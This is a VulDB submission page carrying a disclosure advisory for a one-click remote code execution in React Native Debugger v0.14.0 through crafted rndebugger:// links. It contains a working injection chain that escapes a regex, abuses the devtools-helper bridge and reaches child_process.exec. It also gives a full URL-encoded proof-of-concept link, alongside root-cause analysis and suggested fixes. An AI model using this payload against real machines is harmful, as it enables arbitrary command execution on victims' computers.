إرسال #909329: React Native Debugger v0.14.0 Improper Control of Generation of Codeالمعلومات

عنوانReact Native Debugger v0.14.0 Improper Control of Generation of Code
الوصف### Summary We found a one-click remote code execution (RCE) in the latest version (v0.14.0) of [React Native Debugger](https://github.com/jhen0409/react-native-debugger) triggered from a custom URL of the form `rndebugger://`. An attacker can exploit it when a victim: - visits a malicious page that auto-navigates to a crafted `rndebugger://` URL, or - clicks a crafted `rndebugger://` link on a legitimate site (e.g. user-generated content). The browser hands the URL to the app's `rndebugger://` handler, which launches the app and processes it. The `host` query parameter flows — unsanitized — into a JavaScript string executed via `devToolsWebContents.executeJavaScript(...)`, and from there into the node-integrated renderer, yielding arbitrary OS command execution. Root cause: `host` is interpolated raw into a script with no escaping or validation. ### Affected versions `react-native-debugger` **0.14.0** (Electron `^25.3.0`, protocol `rndebugger`). The vulnerable code is present on the current default branch. ### Details React Native Debugger auto-opens Chrome DevTools and injects a "catch console log link" helper script into the DevTools page. The custom-URL `host` value is threaded into that script unsanitized, and a bundled helper extension bridges the injection from the DevTools page into the node-integrated renderer. #### 0. Scheme registration and entry points The `rndebugger://` scheme is registered at packaging time: https://github.com/jhen0409/react-native-debugger/blob/bd3435a456a29e1eda017ad37b94451834b4ee3a/scripts/package-macos.sh#L37-L38 https://github.com/jhen0409/react-native-debugger/blob/bd3435a456a29e1eda017ad37b94451834b4ee3a/scripts/config.json#L6 Three entry points — macOS `open-url`, and the Linux/Windows second-instance and cold-start argv paths — all converge on `handleURL`: https://github.com/jhen0409/react-native-debugger/blob/bd3435a456a29e1eda017ad37b94451834b4ee3a/electron/url-handle/handleURL.js#L54-L56 https://github.com/jhen0409/react-native-debugger/blob/bd3435a456a29e1eda017ad37b94451834b4ee3a/electron/main.js#L46-L60 #### 1. Deep-link parsing: no validation on `host` `handleURL` calls `parseUrl`, which gates on the host token `set-debugger-loc` and extracts the query params. `host` passes through `resolveHost`, which only substitutes `'localhost'` for empty/`'undefined'`/`'null'` — **no character filtering**: https://github.com/jhen0409/react-native-debugger/blob/bd3435a456a29e1eda017ad37b94451834b4ee3a/electron/url-handle/handleURL.js#L22-L36 ```js const resolveHost = (host) => ( !host || host === 'undefined' || host === 'null' ? 'localhost' : host ) export const parseUrl = (_url) => { const route = url.parse(_url) if (route.host !== 'set-debugger-loc') return const { host, port, projectRoots } = qs.parse(route.query) return { host: resolveHost(host), // arbitrary string survives verbatim port: Number(port) || 8081, // coerced to number (not injectable) projectRoots: filterPaths(...), // lstat-filtered (not injectable) } } ``` The result is serialized to the renderer over IPC; `host` is the only attacker-controlled string that survives (`port` is coerced to a number, `projectRoots` is `lstat`-filtered). #### 2. Arity bug → raw interpolation into `executeJavaScript` In the renderer, the `set-debugger-loc` listener calls `catchConsoleLogLink(win, host, port)`, which calls `getCatchConsoleLogScript(host, port)` — but that function is declared `(port) => …`. The **first** argument (attacker `host`) lands in the `port` template slot, interpolated **raw** into a script run via `executeJavaScript`: https://github.com/jhen0409/react-native-debugger/blob/bd3435a456a29e1eda017ad37b94451834b4ee3a/app/containers/App.js#L71-L74 https://github.com/jhen0409/react-native-debugger/blob/bd3435a456a29e1eda017ad37b94451834b4ee3a/electron/devtools.js#L1-L37 ```js export const getCatchConsoleLogScript = (port) => ` window.__RN_PACKAGER_MATCHER__ = /^http:\\/\\/[^:]+:${port}/; // raw interpolation ...` export const catchConsoleLogLink = (win, host = 'localhost', port = 8081) => { if (win.devToolsWebContents) { return win.devToolsWebContents.executeJavaScript(`(() => { ${getCatchConsoleLogScript(host, port)} // host passed as the "port" param })()`) } } ``` Because `host` lands between `:` and `/;` inside a regex literal, setting `host = 8081/;<ATTACKER_JS>;//` closes the regex and appends arbitrary JS that runs inside `devToolsWebContents` (the DevTools frontend page). DevTools is auto-opened for the primary window, so the sink is live by default: https://github.com/jhen0409/react-native-debugger/blob/bd3435a456a29e1eda017ad37b94451834b4ee3a/electron/window.js#L132 #### 3. Escalation: DevTools page → devtools-helper → renderer `child_process` The inspected renderer runs with `nodeIntegration: true` and no context isolation: https://github.com/jhen0409/react-native-debugger/blob/bd3435a456a29e1eda017ad37b94451834b4ee3a/electron/window.js#L102-L103 The DevTools page has no `require`, but the bundled `devtools-helper` extension (loaded as an iframe in the DevTools page) listens for `postMessage` and interpolates its `source` field into `chrome.devtools.inspectedWindow.eval`, which runs **in the renderer**: https://github.com/jhen0409/react-native-debugger/blob/bd3435a456a29e1eda017ad37b94451834b4ee3a/dist/devtools-helper/main.js#L12-L24 ```js window.addEventListener('message', ({ data }) => { if (data.type !== 'open-in-editor') return; const arr = data.source.split(':'); const lineNumber = arr.pop(-1); const file = arr.join(':'); chrome.devtools.inspectedWindow.eval( `if (window.openInEditor) { window.openInEditor('${file}', ${Number(lineNumber)}); }` ); }); ``` The JS injected in step 2 finds this iframe and posts a crafted `source` that breaks out of the `if (window.openInEditor)` guard: ```js (function(){ var h = document.querySelector('iframe[data-devtools-extension="RNDebugger devtools helper"]'); if (h && h.contentWindow) h.contentWindow.postMessage({ type: 'open-in-editor', source: "x');\n}\nrequire('child_process').exec('open -a Calculator');\n{//:1" }, '*'); })() ``` After `source.split(':')`, `file` = `x');\n}\nrequire('child_process').exec('open -a Calculator');\n{//` and `lineNumber = 1`. The eval closes the `if` block, runs `require('child_process').exec('open -a Calculator')`, and the trailing `{//` opens a block whose `//` comments out the template's residual `', 1);` — leaving syntactically valid JS. Result: OS command execution in the renderer. ### PoC The `host` parameter carries the entire step-3 payload, URL-encoded. Navigate to this link in a browser and click **"Open React Native Debugger"** — Calculator launches (macOS): ``` rndebugger://set-debugger-loc?host=8081%2F%3B%28function%28%29%7Bvar%20h%3Ddocument.querySelector%28%27iframe%5Bdata-devtools-extension%3D%22RNDebugger%20devtools%20helper%22%5D%27%29%3Bif%28h%26%26h.contentWindow%29%7Bh.contentWindow.postMessage%28%7Btype%3A%27open-in-editor%27%2Csource%3A%22x%27%29%3B%5Cn%7D%5Cnrequire%28%27child_process%27%29.exec%28%27open%20-a%20Calculator%27%29%3B%5Cn%7B%2F%2F%3A1%22%7D%2C%27%2A%27%29%3B%7D%7D%29%28%29%3B%2F%2F ``` Decoded, `host` is `8081/;` (which closes the regex literal) followed by the step-3 IIFE and a trailing `;//` that comments out the template's residual `/;`. The victim's only action is the browser's "open app" prompt. ### Impact One-click RCE on any machine with React Native Debugger installed. The sink (`devToolsWebContents.executeJavaScript`) requires DevTools to be open, which is the **default** for the primary window (`electron/window.js:132`, `openDevTools()` when `!isPortSettingRequired`), so a default install is exploitable with no action beyond the "open app" prompt. Present in the latest release (v0.14.0). ### Suggested fix - Validate/escape `host` in `resolveHost` (hostname/IP allow-list) and fix the arity bug so `host` is not passed into the `port` slot of `getCatchConsoleLogScript`; JSON-encode any value interpolated into an `executeJavaScript` string. - Harden the `devtools-helper` bridge: validate `data.source` and pass structured arguments instead of concatenating into `chrome.devtools.inspectedWindow.eval`. - Disable `nodeIntegration` / enable `contextIsolation` for the debugger renderer window.
المصدر⚠️ https://gist.github.com/Suuuuuzy/d25baf1973fd3c812277e02cde2243cc
المستخدم
 Jianjia Yu (UID 86953)
ارسال30/07/2026 04:24 AM (2 أشهر منذ)
الاعتدال24/09/2026 03:50 PM (2 months later)
الحالةتمت الموافقة
إدخال VulDB409351 [jhen0409 react-native-debugger حتى 0.14.0 Open in Editor electron/window.js openDevTools host تجاوز الصلاحيات]
النقاط20

Are you interested in using VulDB?

Download the whitepaper to learn more about our service!